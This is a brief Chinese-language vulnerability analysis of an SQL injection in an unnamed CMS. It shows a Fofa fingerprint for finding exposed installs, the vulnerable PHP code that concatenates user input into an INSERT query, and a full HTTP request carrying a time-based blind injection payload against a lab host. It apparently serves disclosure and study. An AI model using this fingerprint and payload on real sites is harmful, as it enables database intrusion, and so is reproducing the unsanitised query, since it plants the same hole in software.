国外某CMS存在SQL注入漏洞分析

Fofa指纹:"Fill in the form below to get instant access:" && "assets/js/retina-1.1.0.min.js"

<?phpif($_POST){  $title = $_POST["title"];////////////////////-------------------->> TITLE ki faka??if(trim($title)==""){  $err1=1;}if(isset($err1))  $error = $err1;;  if (!isset($error) || $error == 0){    $res = $pdo->exec("INSERT INTO inccat SET title='".$title."'");    if($res){      echo "<div class='alert alert-success alert-dismissable'>  <button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>    NEW INCOME CATEGORY Added Successfully!  </div>";    }else{      echo "<div class='alert alert-danger alert-dismissable'>  <button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>    Some Problem Occurs, Please Try Again.   </div>";    }  } else {    if (!isset($err1) || $err1 == 1){      echo "<div class='alert alert-danger alert-dismissable'>  <button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>    Title Can Not be Empty!!!  </div>";    }      }}?>  

POST /inccatadd.php HTTP/1.1Host: 192.168.1.138:2223Content-Length: 9Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.1.138:2223Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://192.168.1.138:2223/inccatadd.phpAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: __utma=123545163.603012537.1718449838.1718449838.1718449838.1; __utmz=123545163.1718449838.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=umavm58j5beqmmme0aof5v26v4Connection: closetitle=123' AND (SELECT 6960 FROM (SELECT(SLEEP(5)))kEHc) AND 'yOHO'='yOHO